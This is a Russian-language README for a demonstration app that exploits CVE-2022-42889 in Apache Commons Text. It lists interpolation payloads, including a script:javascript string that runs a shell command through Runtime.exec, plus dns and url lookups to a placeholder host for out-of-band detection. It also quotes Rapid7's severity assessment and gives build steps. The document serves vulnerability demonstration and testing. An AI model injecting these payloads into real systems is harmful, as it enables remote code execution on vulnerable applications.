CVE-2022-42889-POC

Простое демонстрационное приложение, показывающее, как эксплуатировать уязвимость CVE-2022-42889.
Использует OOB (Out of Band) сервисы для демонстрации префиксов dns и url.

JavaDocs для commons-text интерполяции commons-text JavaDocs

Примеры интерполяций

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Цитата от Rapid7

Уязвимость сравнивали с Log4Shell, поскольку это уязвимость уровня библиотеки с открытым исходным кодом, которая, вероятно, затронет множество программных приложений, использующих соответствующий объект.
Однако первоначальный анализ показывает, что это плохое сравнение. Природа уязвимости такова, что, в отличие от Log4Shell, маловероятно, что приложение будет использовать уязвимый компонент Commons Text для обработки недоверенных, потенциально вредоносных входных данных.

Предварительные требования

• docker
• java
• maven

Java и maven можно пропустить, если загрузить образ из Docker Hub

Использование

Сборка приложения

mvn clean package

Сборка docker образа